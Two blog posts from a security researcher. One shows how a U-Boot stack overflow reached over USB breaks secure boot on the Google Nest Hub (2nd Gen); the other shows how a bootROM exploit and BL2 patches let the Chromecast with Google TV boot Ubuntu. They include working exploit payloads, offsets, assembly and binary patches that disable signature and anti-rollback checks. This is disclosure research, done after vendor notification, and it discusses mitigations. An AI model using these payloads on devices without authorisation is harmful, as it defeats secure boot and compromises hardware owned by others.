fred's notes

Breaking Secure Boot on Google Nest Hub (2nd Gen) to run Ubuntu

2022-06-15T00:00:00-07:00

In this post, we attack the Nest Hub (2nd Gen), an always-connected smart home display from Google, in order to boot a custom OS.

First, we explore both hardware and software attack surface in search of security vulnerabilities that could permit arbitrary code execution on the device.

Then, using a Raspberry Pi Pico microcontroller, we exploit an USB bug in the bootloader to break the secure boot chain.

Finally, we build new bootloader and kernel images to boot a custom OS from an external flash drive.

Disclaimer

You are solely responsible for any damage caused to your hardware/software/keys/DRM licences/warranty/data/cat/etc...

1. Hardware exploration

Virtual tour

Overviews of internal hardware published on FFC ID website and Electronics360 indicate the device is based on Amlogic S905D3G SoC.

They also reveal the existence of one USB port hidden underneath the device. Not a feature for users, so a priority for us. Especially since we already discovered and exploited an USB vulnerability in the same chipset.

Good enough, let's buy one. The oldest one, always... Conveniently, manufacturing date is on box : December 2020.

Nice try but no

The first thing to check once we have the device in hands is if the known USB vulnerability has been fixed. Doing so requires to boot the SoC in USB Download mode by holding a combination of buttons. After trying few random combinations, a new USB device is detected by our host, which indicates we found the right combination : Volume UP + Volume DOWN. We can then try to use the exploitation tool amlogic-usbdl.

Unfortunately (for us), the tool detects that the device is password-protected, so we can't exploit this bug.

However, while attempting to trigger USB Download mode, we noticed few other button combinations that prevent the device to fully boot (stuck on boot logo). We keep that in mind since a boot flow change can also mean attack surface change.

Mysterious wires

After looking closely at the USB port, we notice that both USB and power supply connectors are on a separate module, which is connected to the main board via a 16-pin Flexible Flat Cable (FFC).

That's a lot of wires for only one micro-USB 2.0 (5 pins) & one power supply (2 pins).

Such flat cable, accessible without dissassembly and offering extra wires (apparently) unused, evokes a hidden cability to connect a developer board with additionnal interfaces (UART ? JTAG ? SDCARD ?) for development or repair purposes.

In order to uncover potential other interfaces, we first identify the pins associated with USB and power supply using a multimeter :

Power supply connector to FFC : 11 pins! ouch...
USB connector to FFC : 3 pins (No USB +5V)

With 14 pins identified, only 2 are left.

The voltage measured on these 2 pins during boot is constant near-0V for the first one, and fluctuating between 0V and 3.3V for the second. This pattern matches an UART port.

We now have the complete pinout of the flexible flat cable :

PIN	FUNCTION	PIN	FUNCTION	PIN	FUNCTION	PIN	FUNCTION
1	GND	5	GND	9	VCC	13	USB-D-
2	GND	6	VCC	10	VCC	14	USB-D+
3	UART-TX	7	VCC	11	VCC	15	GND
4	UART-RX	8	VCC	12	GND	16	USB-ID

DIY debug board

We take advantage of the accessible FFC to connect a breakout board with the right FCC connector : 16-pin, 0.5mm pitch.

Several options exist:

Presoldered 16-pin 0.5mm FFC board : hard to find except in China.
Presoldered 0.5mm FFC board with more pins (i.e 24-pin) : very dangerous if connections are shifted.
Solder the right connector on a breakout board : the solution we opted for.

This board provides a convenient access to UART, USB and power supply.

UART port

Using our debug board, we connect an USB-to-Serial adapter to the UART port to obtain logs during boot :

SM1:BL:511f6b:81ca2f;FEAT:A28821B2:202B3000;POC:F;EMMC:0;READ:0;CHK:1F;READ:0;0.0;0.0;CHK:0;
bl2_stage_init 0x01
[...]
BL2 Built : 20:46:51, Dec 10 2020. \ng12a g3d61890 - user@host
[...]
U-Boot 2019.01-gbfc19012ea-dirty (Dec 11 2020 - 04:19:32 )

DRAM:  2 GiB
board init
[...]
MUTE engaged
VOL_UP not pressed
upgrade key not pressed
reboot_mode:cold_boot
cold_boot
aml log : boot from nand or emmc
Kernel decrypted
kernel verify: success
[...]
Starting kernel ...

We can see bootloader and U-Boot logs, kernel image seems encrypted, but no more logs once Linux has started though.

We also see that button states are checked ("MUTE engaged", "VOL_UP not pressed"), and that "upgrade key not pressed". This is really intriguing since any new feature we discover could represent a new attack surface.

We try to boot again, this time while holding both volume buttons (volume down & volume up) :

[...]
U-Boot 2019.01-gbfc19012ea-dirty (Dec 11 2020 - 04:19:32 )
[...]
MUTE engaged
VOL_UP pressed
VOL_DN pressed
detect VOL_UP pressed
VOL_DN pressed
resetting USB...
USB0:   Register 3000140 NbrPorts 2
Starting the controller
USB XHCI 1.10
scanning bus 0 for devices... 3 USB Device(s) found
       scanning usb for storage devices... 2 Storage Device(s) found
** Unable to read file recovery.img **
resetting USB...

When booted this way, the Nest Hub tries to load a file named recovery.img from an USB flash drive. Attack surface just increased.

2. Software exploration

While official firmware images for Nest Hub are not publicly available, the source code for the bootloader (U-Boot) and the kernel (Linux) has been released by Google thanks to the GPL license.

Mysterious USB recovery feature

We start by investigating the recovery mechanism we spotted earlier as it happens to be interesting for several reasons:

Implemented in U-Boot so open source : easy to study.
Apparently meant to run a recovery boot image : exactly what we want to achieve, but is it signed ?
A lot of code involved : USB, Mass Storage device, partition table, filesystem, boot image parsing, boot image signature verification (if any). Bugs in these layers could lead to arbitrary code execution.
Data is loaded from external USB source : no need to disassemble the device.

To quickly locate this feature in U-Boot source tree, we grep recovery.img. We find a function named recovery_from_udisk in U-Boot environment :

"recovery_from_udisk=" \
       "while true ;do " \
              "usb reset; " \
              "if fatload usb 0 ${loadaddr} recovery.img; then "\
                     "bootm ${loadaddr};" \
              "fi;" \
       "done;" \
       "\0" \

First, this code resets the USB subsystem. Then, it calls the fatload function to load a boot image named recovery.img in memory at address loadaddr. Finally, it tries to boot the loaded data using function bootm.

We can also confirm that function recovery_from_udisk is run when both volume buttons are held (GPIOZ_5 & GPIOZ_6) :

"upgrade_key=" \
       "if gpio input GPIOZ_5; then " \
              "echo detect VOL_UP pressed;" \
              "if gpio input GPIOZ_6; then " \
                     "echo VOL_DN pressed;" \
                     "setenv boot_external_image 1;" \
                     "run recovery_from_udisk;" \
[...]

This recovery feature is an ideal mechanism to boot an alternative OS. However, a quick look at bootm function reveals it systematically verifies recovery.img signature by calling function aml_sec_boot_check.

To boot a custom OS using this mechanism, we first have to find a bug that could bypass this verification.

Bug hunt

The recovery feature enables USB interface as an attack vector. As a result, any code that processes data coming from USB interface becomes a potential (software) attack surface.

This attack surface can be roughly estimated by exploring the call flow triggered by the recovery feature :

usb reset exposes the USB driver when it performs USB enumeration.
fatload exposes several drivers : USB, Mass Storage, DOS partition, FAT filesystem.
bootm attack surface is very limited since it starts by calling the signature verification routine aml_sec_boot_check, which cannot be reviewed because it's implemented in TrustZone (no source code or binary available at this moment).

The attack surface exposed by fatload command is obviously the most interesting target due to the amount of code involved and its complexity.

While previous research found issues in DOS partition parser and EXT4 filesystem parser, we could not find public evidence of vulnerabilty research on U-Boot FAT filesystem, which makes it an ideal target to begin with.

U-Boot implements a sandbox architecture that allows it to run as a Linux user-space application. This feature is a convenient starting point to build a fuzzer for U-Boot code.

We build a fuzzing harness that injects data in blk_dread (function that reads data from a block device), and triggers execution by calling fat_read_file. The harness must also initialize the state that is expected by these functions : USB enumeration done, block device detected, partitions have been parsed (in real conditions, this initialization would have been performed by fs_set_blk_dev). Fuzzing is performed by AFL and libFuzzer. This first fuzzing attempt uncovered few circular reference issues in FAT cluster chains that caused the code to loop indefinitely. While being painful to fix, they're not the kind of bugs we're looking for.

In a second phase, we extend the fuzzing to the initialized state since some parameters can be controlled by the attacker. For example, the USB Mass Storage driver sets multiple parameters in structure blk_desc that describe the detected block device in initialized state.

One of them is the block size (blk_desc.blksz) of the block device (which is an USB flash drive in our case). This value is obtained from the block device by sending command READ CAPACITY, which means attacker controls it.

Block size is an important parameter for upper layers like partition and filesystem drivers. Messing with it led to an interesting crash :

$ ./fuzz
INFO: Seed: 473398954
INFO: Loaded 1 modules   (1402 inline 8-bit counters): 1402 [0x5aa0c0, 0x5aa63a), 
INFO: Loaded 1 PC tables (1402 PCs): 1402 [0x57ada0,0x580540), 
=================================================================
==5892==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe6db4bb3f at pc 0x0000004f16af bp 0x7ffe6db4b790 sp 0x7ffe6db4af40
WRITE of size 32768 at 0x7ffe6db4bb3f thread T0
    #0 0x4f16ae in __asan_memset (/u-boot-elaine/fuzzer/fuzz+0x4f16ae)
    #1 0x55a8cf in blk_dread /u-boot-elaine/fuzzer/blk.c:153:13
    #2 0x5284b1 in part_test_dos /u-boot-elaine/disk/part_dos.c:96:6
    #3 0x521f52 in part_init /u-boot-elaine/disk/part.c:242:9
    #4 0x55b494 in usb_stor_probe_device /u-boot-elaine/fuzzer/usb_storage.c:41:5
    #5 0x55b648 in LLVMFuzzerTestOneInput /u-boot-elaine/fuzzer/fuzz.c:42:5
    #6 0x42ee1a in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/u-boot-elaine/fuzzer/fuzz+0x42ee1a)
    #7 0x43052a in fuzzer::Fuzzer::ReadAndExecuteSeedCorpora(std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, fuzzer::fuzzer_allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > const&) (/u-boot-elaine/fuzzer/fuzz+0x43052a)
    #8 0x430bf5 in fuzzer::Fuzzer::Loop(std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, fuzzer::fuzzer_allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > const&) (/u-boot-elaine/fuzzer/fuzz+0x430bf5)
    #9 0x426e00 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/u-boot-elaine/fuzzer/fuzz+0x426e00)
    #10 0x44a412 in main (/u-boot-elaine/fuzzer/fuzz+0x44a412)
    #11 0x7b733912f09a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2409a)
    #12 0x420919 in _start (/u-boot-elaine/fuzzer/fuzz+0x420919)

Address 0x7ffe6db4bb3f is located in stack of thread T0 at offset 607 in frame
    #0 0x5282ff in part_test_dos /u-boot-elaine/disk/part_dos.c:90

  This frame has 1 object(s):
    [32, 607) '__mbr' (line 92) <== Memory access at offset 607 overflows this variable

AddressSanitizer detected a stack buffer overflow in part_test_dos. This function is called to detect a DOS partition table when an USB Mass Storage device is connected.

It is interesting to note that, while the crash occurs in DOS partition layer, the invalid size at the origin of the crash is set by the USB Mass Storage layer. This suggests that it is unlikely to find this bug if layers are fuzzed independently.

U-Boot stack overflow

The crash is caused by a simple bug in function part_test_dos :

static int part_test_dos(struct blk_desc *dev_desc)
{
[...]
(1)    ALLOC_CACHE_ALIGN_BUFFER(legacy_mbr, mbr, 1);

(2)    if (blk_dread(dev_desc, 0, 1, (ulong *)mbr) != 1)

Buffer mbr of 512 bytes (sizeof(legacy_mbr)) is allocated on the stack.
Function blk_dread reads 1 block at address 0 from block device dev_desc and writes data to buffer mbr.

If block size (dev_desc->blksz) is larger than 512, function blk_dread overflows buffer mbr.

As said before, block size can be controlled by attacker. But in practice, most USB flash drives have a block size of 512 bytes, and it cannot be customized easily. Let's build one instead.

3. Exploitation device : CHIPICOPWN

In order to exploit this bug in the Nest Hub bootloader, we need an USB Mass Storage device that supports larger-than-usual block size. One solution could be based on the Mass Storage Gadget from Linux USB Gadget framework with an USB OTG-enabled host (e.g. VIM3L SBC we used to dump the S905D3 bootROM. But there's a cheaper option.

Raspberry Pi Pico is a $4 microcontroller with USB Device support. It also has the great advantage of being supported by TinyUSB, an open-source cross-platform USB Host/Device stack.

TinyUSB project provides a Mass Storage device example code that can turn a Raspberry Pi Pico into a customizable USB flash drive. From this starting point, we can build an exploitation device that will :

inject payload into stack memory
overwrite return address to execute payload
display a cool logo

However, due to the black-box approach (no access to firmware), we still miss important information to develop the exploit. We'll go through several steps to collect all the information required to craft our final payload.

3.1 Proof-of-Crash

We start by verifying if the device is actually vulnerable to the bug. Using the Mass Storage device example code as starting point, we change the block size to 1024 instead of 512 to confirm if we observe a crash.

When connected to our host, the Raspberry Pi Pico is now detected as Mass Storage with "1024-byte logical blocks" :

usb 1-2: New USB device found, idVendor=cafe, idProduct=4003, bcdDevice= 1.00
usb 1-2: New USB device strings: Mfr=1, Product=2, SerialNumber=3
usb 1-2: Product: TinyUSB Device
usb 1-2: Manufacturer: TinyUSB
usb 1-2: SerialNumber: 123456789012
usb-storage 1-2:1.0: USB Mass Storage device detected
scsi host0: usb-storage 1-2:1.0
scsi host0: scsi scan: INQUIRY result too short (5), using 36
scsi 0:0:0:0: Direct-Access     TinyUSB  Mass Storage     1.0  PQ: 0 ANSI: 2
sd 0:0:0:0: Attached scsi generic sg0 type 0
sd 0:0:0:0: [sda] 16 1024-byte logical blocks: (16.4 kB/16.0 KiB)
sd 0:0:0:0: [sda] Write Protect is off
sd 0:0:0:0: [sda] Mode Sense: 03 00 00 00
sd 0:0:0:0: [sda] No Caching mode page found
sd 0:0:0:0: [sda] Assuming drive cache: write through
 sda:
sd 0:0:0:0: [sda] Attached SCSI removable disk

When connected to the device booted in recovery mode, the Pico causes an exception, and registers are dumped over UART :

"Synchronous Abort" handler, esr 0x02000000
elr: ffffffff8110e000 lr : ffffffff8110e000 (reloc)
elr: 0000000000000000 lr : 0000000000000000
x0 : 0000000000000002 x1 : 0000000000000000
x2 : 0000000000000000 x3 : 0000000000000000
x4 : 000000007bed5b00 x5 : fffffffffffffff8
x6 : 0000000000000000 x7 : 0000000000000000
x8 : 0000000000000001 x9 : 0000000000000008
x10: 000000007c0021b0 x11: 000000007c009b80
x12: 0000000000000001 x13: 0000000000000001
x14: 000000007bed5c4c x15: 00000000ffffffff
x16: 0000000000004060 x17: 0000000000000084
x18: 000000007bee1dc8 x19: 0000000000000000
x20: 0000000000000000 x21: 0000000000000000
x22: 000000000000002a x23: 000000007c008490
x24: 000000007c008490 x25: 000000007ffdcd80
x26: 0000000000000000 x27: 0000000000000000
x28: 000000007c009ac0 x29: 0000000000000000

Resetting CPU ...

This indicates with great certainty that the device is vulnerable to our bug. Register values will be very helpful to develop the exploit. Unfortunately, sp register value is missing, so we'll have to do extra work to locate our payload in the stack. Still, we have obtained the global data pointer gd which is stored in register x18. And we can learn from U-Boot source code that stack top is located below gd.

3.2 Offset of payload address

The bug allows to overflow a buffer on the stack to overwrite a return address. First, we look for the offset in our payload that will overwrite that return address. For that, we create a payload filled with incremental invalid pointers :

.text
.global _start

_start:
.word 0xFFFFFC00
.word 0xFFFFFC01
.word 0xFFFFFC02
[...]
.word 0xFFFFFFFF

Then, we modify the Pico code to use this payload as the block 0 of the block device. The device crashes again :

"Synchronous Abort" handler, esr 0x8a000000
elr: fffffc8f8110dc8e lr : fffffc8f8110dc8e (reloc)
elr: fffffc8ffffffc8e lr : fffffc8ffffffc8e
x0 : 00000000ffffffff x1 : 0000000000000001
x2 : 000000007bed5888 x3 : 0000000000000000
x4 : 0000000000001000 x5 : 0000000000000200
x6 : fffffffffffffffe x7 : 0000000000000000
x8 : 0000000000000001 x9 : 0000000000000008
x10: 000000007c0021b0 x11: 000000007c009b80
x12: 0000000000000001 x13: 0000000000000001
x14: 000000007bed5c4c x15: 00000000ffffffff
x16: 0000000000004060 x17: 0000000000000084
x18: 000000007bee1dc8 x19: fffffc91fffffc90
x20: fffffc93fffffc92 x21: fffffc95fffffc94
x22: 000000000000002a x23: 000000007c008490
x24: 000000007c008490 x25: 000000007ffdcd80
x26: 0000000000000000 x27: 0000000000000000
x28: 000000007c009ac0 x29: fffffc8dfffffc8c

Resetting CPU ...

We can notice that the link register lr contains an invalid pointer : fffffc8ffffffc8e. We recognize values 0xFFFFFC8E and 0xFFFFFC8F from our payload. This means the offset is 0x238 (0x8e * 4 bytes).

3.3 Payload address

We can now redirect code execution to an arbitrary address specified at offset 0x238 in our payload. The next step is to determine the start address of this payload to finally execute it.

We create a large payload (maximum allowed block size is 0x8000) filled with many branch instructions that all lead to few instructions at the very end.

If we manage to guess the address of any of these 8,185 branch instructions, the payload will be executed. And we have a major hint : we already know that stack top is located below gd address (register x18).

One educated guess is : (gd - 0x8000) = (0x7bee1dc8 - 0x8000) = 0x7BED9DC8.

.text
.global _start

_start:
    b _payload
    b _payload
[...]
.dword 0x7BED9DC8 // payload pointer at offset 0x238
[...]
    b _payload
    b _payload
_payload:
    adr x19, _start
    mov x20, x30
    mov x21, sp
    mov x22, #0xcafe
    blr x13

The first instruction adr sets register x19 to the payload's start address. The last instruction blr branches to an invalid pointer x13 to ensure a crash, and thus dump registers on UART.

We modify the Pico code to use this new payload. The device crashes again :

"Synchronous Abort" handler, esr 0x8a000000
elr: ffffffff8110e001 lr : fffffffffcfeb700 (reloc)
elr: 0000000000000001 lr : 000000007bedd700
x0 : 00000000ffffffff x1 : 0000000000000001
x2 : 000000007bed5888 x3 : 0000000000000000
x4 : 0000000000008000 x5 : 0000000000000200
x6 : d63f01a0d2995fd6 x7 : 0000000000000000
x8 : 0000000000000001 x9 : 0000000000000008
x10: 000000007c0021b0 x11: 000000007c009b80
x12: 0000000000000001 x13: 0000000000000001
x14: 000000007bed5c4c x15: 00000000ffffffff
x16: 0000000000004060 x17: 0000000000000084
x18: 000000007bee1dc8 x19: 000000007bed5700
x20: 000000007bed9dc8 x21: 000000007bed5960
x22: 000000000000cafe x23: 000000007c008490
x24: 000000007c008490 x25: 000000007ffdcd80
x26: 0000000000000000 x27: 0000000000000000
x28: 000000007c009ac0 x29: 14001f6e14001f6f

Resetting CPU ...

Register x22 contains the flag that indicates the payload was executed successfully. And x19 reveals that payload's start address is 0x7bed5700.

To summarize, the exploit requires an USB Mass Storage device with :

block size of 1024, 2048, 4096, 8192, 16384 or 32768 bytes
payload contained in block 0
value 0x000000007bed5700 set at offset 0x238 in block 0

3.4 Dumping running bootloader

We can now execute arbitrary code. But developing a baremetal payload that loads an alternative bootloader/OS from an USB flash drive is a bit tricky. Instead, it would be easier to directly call the bootloader code already in memory. But to do so, we must first obtain the bootloader.

We create a payload that dumps RAM memory over UART. The information required to control the UART (registers, addresses) is obtained from U-Boot source code.

First, we dump the gd structure (register x18), because it contains a pointer to the bootloader code in RAM :

Variable gd->relocaddr indicates that the bootloader is at 0x7fef2000. We dump memory from this address up to gd->ram_top.

3.5 Final payload

With the bootloader image in hands, we can design a payload that relies on bootloader functions. We use Ghidra to get the address of function run_command_list, which gives us access to U-Boot built-in commands.

.text
.global _start
_start:
    sub sp, sp, #0x1000 // move SP below us to avoid being overwritten when calling functions
    ldr x0, _bug_ptr
    ldr x1, _bug_fix
    str x1, [x0]  // fix the bug we just exploited
    adr x0, _command_list
    mov w1, #0xffffffff
    mov w2, #0x0
    ldr x30, _download_buf // set LR to download buffer
    ldr x3, _run_command_list // load binary into download buffer
    br x3

_bug_ptr: .dword 0x7ff26060
_bug_fix: .dword 0xd65f03c0d2800000
_download_buf: .dword 0x01000000
_run_command_list: .dword 0x7ff24720
_command_list: .asciz "echo CHIPICOPWN!;osd setcolor 0x1b0d2b0d;usb reset;fatload usb 0 0x8000000 CHIPICOPWN.BMP;bmp display 0x8000000;while true;do usb reset;if fatload usb 0 0x01000000 u-boot-elaine.bin;then echo yolo;exit;fi;done;"

This final payload :

fixes (in RAM) the bug we just exploited
calls U-Boot function run_command_list with _command_list as argument
sets the download buffer (0x01000000) as return address to execute next stage (if any)

The U-Boot commands in _command_list load 2 files from the first FAT partition of USB Mass Storage device :

CHIPICOPWN.BMP : the logo to display
u-boot-elaine.bin : the next payload to run. In our case, a custom U-Boot image.

Once function run_command_list returns, the next payload is executed.

Since Rasperry Pi Pico flash memory is limited, we can put the file u-boot-elaine.bin on another USB flash drive that is hot-swapped with the Pico.

The source code & prebuilt Pico binary with this final payload are available on GitHub.

4. Booting Ubuntu from USB

We can now boot an unsigned OS thanks to the exploitation tool. As a proof-of-concept, we make a bootable USB flash drive based on the preinstalled Ubuntu image for Raspberry Pi Generic (64-bit ARM). Since this Ubuntu image is designed for another target, we must change few things to get it to boot :

We build a custom U-Boot bootloader with secure boot disabled and boot flow altered to load environment from USB flash drive. We also build a custom Linux kernel for elaine with additionnal drivers like USB mouse. The initial ramdisk (initrd) from Ubuntu is repacked to integrate firmware binaries required for the touchscreen. The boot image is created based on the custom Linux kernel and modified initrd.

All these files are copied to the Ubuntu flash drive. They are available on GitHub, as well as a step-by-step guide.

Conclusion

Hardware exploration led to uncovering an unexpected USB port. Software exploration revealed that it can boot from an USB Mass Storage device. Bug hunting exposed a stack overflow vulnerability in the DOS partition parser.

As a result, an attacker can execute arbitrary code at early boot stage (before kernel execution) by plugging a malicious USB device and pressing two buttons.

Several changes could have reduced the security risk.

At hardware level, the USB port — which is of no use to users — facilitates the attack. While removing external access to the USB interface doesn't fix the issue, it would require the attacker to fully disassemble the device, thereby increasing the time required to perform the attack.

At software level, attack surface can be reduced by not relying on partition or filesystem layers in the recovery feature. Instead, U-Boot could have read the recovery image from the raw block device (just like some BL1s read BL2 image).

Regarding the vulnerability itself, it shouldn't even exist since it's already been fixed upstream, twice :

The lack of CVE may explain why it hasn't been propagated downstream.

Finally, mitigations in U-Boot, like stack canary or ASLR, could have made exploitation way harder, especially considering the black-box approach.

Timeline

2021-10-28 : Attack vector doesn't qualify for Pwn2Own 2021
2021-11-01 : Vulnerability disclosed to Google
2021-12 : Security update released by Google
2022-06-15 : Public disclosure

Booting Ubuntu on Google Chromecast With Google TV

2021-11-29T00:00:00-08:00

In a previous post, we detailed a vulnerability in the Amlogic System-On-Chip bootROM that allows arbitrary code execution at EL3. Since the Chromecast with Google TV (CCwGTV) is one of the devices affected by this issue, it opens the possibility to run a custom OS like Ubuntu.

This post describes the journey to boot Ubuntu on CCwGTV starting from arbitrary code execution in its bootROM. All the resources (bootloaders/tools/scripts) are available on GitHub, as well as a step-by-step guide.

Disclaimer

You are solely responsible for any damage caused to your hardware/software/keys/DRM licences/warranty/data/cat/etc...

A straightforward plan

CCwGTV, released on September 30th 2020, is based on the Amlogic S905D3 System-on-Chip and runs Android OS. The objective is to boot Ubuntu instead, and doing so from an USB drive to keep the original OS untouched.

The device implements Secure Boot, which means each software component of the boot chain is digitally signed to prevent non-official code execution. In order to boot a custom OS like Ubuntu, we'll rely on the bootROM vulnerability to break the Secure Boot and run custom code via the USB interface.

Google has released Open Source code of U-Boot and Linux for this device, which is very helpful for this project.

First, we'll obtain the bootloader image and extract BL2 image to customize it. Then, we'll build a custom U-Boot image that boots from USB flash drive by default. Finally, we'll repack the bootloader image with our custom U-Boot image.

Boot chain overview

The boot chain of this device is based on ARM Trusted Firmware (ATF). In this design, the boot flow is divided in 5 steps executed one after another :

Boot Loader stage 1 (BL1) AP Trusted ROM ↴
Boot Loader stage 2 (BL2) Trusted Boot Firmware ↴
Boot Loader stage 3-1 (BL31) EL3 Runtime Software ↴
Boot Loader stage 3-2 (BL32) Secure-EL1 Payload (optional) ↴
Boot Loader stage 3-3 (BL33) Non-trusted Firmware

The first stage of the boot flow, referred to as BL1, is the SoC bootROM. All firmware images for the next stages are stored in the bootloader partition on the internal flash memory. The last stage, referred to as BL33, is the U-Boot image; unique Open Source firmware in this boot chain.

Using the vulnerability, we can exploit BL1 to run arbitrary code as BL2 stage. But we can't just run U-Boot as a BL2 image: all the firmwares are required to properly initialize the board (PLL, clocks, DDR training, ...). So we have to load all the firmwares, and only replace the last one (BL33) with our custom U-Boot image.

Fortunately, the entire boot chain is designed to support loading over USB : if BL2 image detects that it has been loaded (in SRAM) via USB, it loads all the next stages (BL3x) over USB instead of the internal eMMC storage memory. The host-side tool to send the bootloaders via USB is even provided by Khadas.

Getting the firmware : the hard way

When I started this research, no firmware or update files were available to download. So I had to remove the eMMC flash chip to dump the firmware and get a copy of the bootloader partition.

I used a YIHUA 8786D hot air rework station to remove the chip, and a ALLSOCKET eMMC153/169-SD Adapter to dump its content. Since it was my first attempt at eMMC chip-off technique, I followed the instructions given in a great talk from Exploitee.rs at Black Hat 2017.

Later on, few OTA update files appeared online, so this hardware modification is no longer required to get the bootloader partition image.

A quick analysis of this bootloader partition doesn't reveal any standard filesystem, this file format seems proprietary. But since we also dumped the bootROM, we can still analyze the code that loads the BL2 image to find its location in the bootloader partition :

OFFSET	SIZE	DESCRIPTION
0x0	0x1000	BL2 header
0x1000	0xF000	BL2 code
0x10000	n	Encrypted (BL3x)

Payload for BL1 exploitation

The exploitation tool amlogic-usbdl allows us to load BL2 image in SRAM and execute it without signature check. However, the bootROM exploitation leaves the USB controller in an invalid state, and this will prevent U-Boot from using it.

So we need a payload that restores the USB controller state before jumping to BL2 image :

#define _clear_icache() ((void (*)(void))0xffff048c)()
#define _dwc_pcd_irq() ((void (*)(void))0xffff8250)()
#define _jmp_bl2() ((void (*)(void))0xfffa1000)()
void _start()
{
    _clear_icache(); //clear instruction cache
    _dwc_pcd_irq();  //clear USB state
    _dwc_pcd_irq();  //after exploitation
    _jmp_bl2();      //jump to BL2 entrypoint
}

Function _dwc_pcd_irq is the USB interruption handler implemented in the bootROM USB stack. When the bootROM vulnerability is exploited, the code flow is diverted from this function, which obviously prevents USB events to be fully and properly handled. Luckily for us, executing that USB handler a couple of times is enough to restore USB controller state.

This payload is copied at the beginning of the BL2 image. The data overwritten are headers that aren't used because the exploit jumps directly to this payload, which then jumps to BL2 entrypoint.

Hacking BL2 image

As previously mentioned, we use the exploitation tool amlogic-usbdl to load and run BL2 image. But the original BL2 image implements few features we must first disable to boot properly. This is where it gets dirty. We are free to modify BL2 code because it's signature won't be checked.

Disabling BL33 Authentication

Once loaded via USB and run, the BL2 code expects to receive the rest of the boot chain. If Secure Boot is enabled, BL2 checks the signature of all images including BL33 (U-Boot). We don't have the right key to sign our custom BL33 image, therefore we need to disable the BL33 signature check. We modify BL2 code to ignore the result of the signature check on BL33 image :

--- <sabrina.bl2.factory.2020-07-13.img>
+++ <sabrina.bl2.noSB.img>
@@ -3,5 +3,5 @@
 fffabd70 81 c2 00 91     add        x1,x20,#0x30
 fffabd74 02 04 80 d2     mov        x2,#0x20
 fffabd78 8a 02 00 94     bl         secure_memcmp
-fffabd7c 60 03 00 35     cbnz       w0,auth_fail
+fffabd7c 00 00 80 52     mov        w0,#0x0
 fffabd80 80 72 40 39     ldrb       w0,[x20, #0x1c]

Disabling Anti-RollBack

Anti-rollback (ARB) feature prevents execution of firmware images older than a specific version, which is stored in One Time Programmable (OTP a.k.a. efuses) memory. When firmware images are updated to a higher ARB version number, the OTP version is bumped-up by burning additional efuses.

So two kind of issues could arise depending on the bootloader version we run :

if older than the version in OTP: ARB check will fail and it just won't boot.
if more recent than version in OTP : OTP version will be increased, and the ARB protection will block the original firmware (older version) from booting.

In order to prevent such issues, we picked the oldest bootloader partition available (factory firmware), and we disable ARB feature in BL2 code :

--- <sabrina.bl2.noSB.img>
+++ <sabrina.bl2.noSB.noARB.img>
@@ -1,8 +1,8 @@
                      uint __cdecl IS_FEAT_ANTIROLLBACK_ENABLE(void)
      uint              w0:4           <RETURN>
                      IS_FEAT_ANTIROLLBACK_ENABLE
 fffa1744 00 06 80 d2     mov        x0,#0x30
 fffa1748 60 ec bf f2     movk       x0,#0xff63, LSL #16
 fffa174c 00 00 40 b9     ldr        w0,[x0]=>SEC_EFUSE_LIC0
-fffa1750 00 18 46 d3     ubfx       x0,x0,#0x6,#0x1
+fffa1750 00 00 80 d2     mov        x0,#0x0
 fffa1754 c0 03 5f d6     ret

Size reduction

We remove 0x100 bytes of padding at the end of the BL2 image (original size is 0x10000 bytes) to comply with the 0xFF00 bytes payload size limit imposed by the exploitation tool.

Building & customizing BL33

Unlike BL2, BL33 is based on Open Source software U-Boot, so building & customizing it is pretty straightforward.

U-Boot boot sequence is defined with a scripting language that supports variables (global, local), control structures (if, while, etc...), and commands. We modify the original script that boots from internal eMMC to instead load and run another script named s905_autoscript from an USB drive :

--- sabrina-uboot/board/amlogic/configs/sm1_sabrina_v1.h
+++ sabrina-uboot/board/amlogic/configs/sm1_sabrina_v1.h
@@ -297,17 +299,14 @@
             "if test ${active_slot} != normal; then "\
                 "setenv bootargs ${bootargs} androidboot.slot_suffix=${active_slot};"\
             "fi;"\
-            "if test ${avb2} = 0; then "\
-                "if test ${active_slot} = _a; then "\
-                    "setenv bootargs ${bootargs} root=/dev/mmcblk0p23;"\
-                "else if test ${active_slot} = _b; then "\
-                    "setenv bootargs ${bootargs} root=/dev/mmcblk0p24;"\
-                "fi;fi;"\
-            "fi;"\
-            "if imgread kernel ${boot_part} ${loadaddr}; then "\
-                "bootm ${loadaddr};"\
-            "fi;"\
-            "run fallback;"\
+            "echo Sleep 10 secs before USB DRIVE boot from ${loadaddr} ...; "\
+            "sleep 10; "\
+            "usb start 0; "\
+            "usb tree; "\
+            "usb info; "\
+            "fatload usb 0 ${loadaddr} s905_autoscript;"\
+            "setenv autoscript_source usb; "\
+            "autoscr ${loadaddr};"\
             "\0"\
         "upgrade_check=" \
             "echo upgrade_step=${upgrade_step}; "\

By loading and running a script from an external media, we have the possibility to change the boot script without recompiling U-Boot or repacking the bootloader image.

Just like other bootloaders in the chain, U-Boot detects if it's been loaded from USB. In such case, U-Boot skips the normal boot sequence and starts an USB recovery interface (a.k.a. USB burning mode) instead. We have to disable that behavior to ensure the boot sequence we just modified is run :

--- sabrina-uboot/board/amlogic/sm1_sabrina_v1/sm1_sabrina_v1.c
+++ sabrina-uboot/board/amlogic/sm1_sabrina_v1/sm1_sabrina_v1.c
@@ -583,13 +583,6 @@ void set_i2c_ao_pinmux(void)
 int board_init(void)
 {
        sys_led_init();
-    //Please keep CONFIG_AML_V2_FACTORY_BURN at first place of board_init
-    //As NOT NEED other board init If USB BOOT MODE
-#ifdef CONFIG_AML_V2_FACTORY_BURN
-       if ((0x1b8ec003 != readl(P_PREG_STICKY_REG2)) && (0x1b8ec004 != readl(P_PREG_STICKY_REG2))) {
-                               aml_try_factory_usb_burning(0, gd->bd);
-       }
-#endif// #ifdef CONFIG_AML_V2_FACTORY_BURN
 #ifdef CONFIG_USB_XHCI_AMLOGIC_V2
        board_usb_pll_disable(&g_usb_config_GXL_skt);
        board_usb_init(&g_usb_config_GXL_skt,BOARD_USB_MODE_HOST);

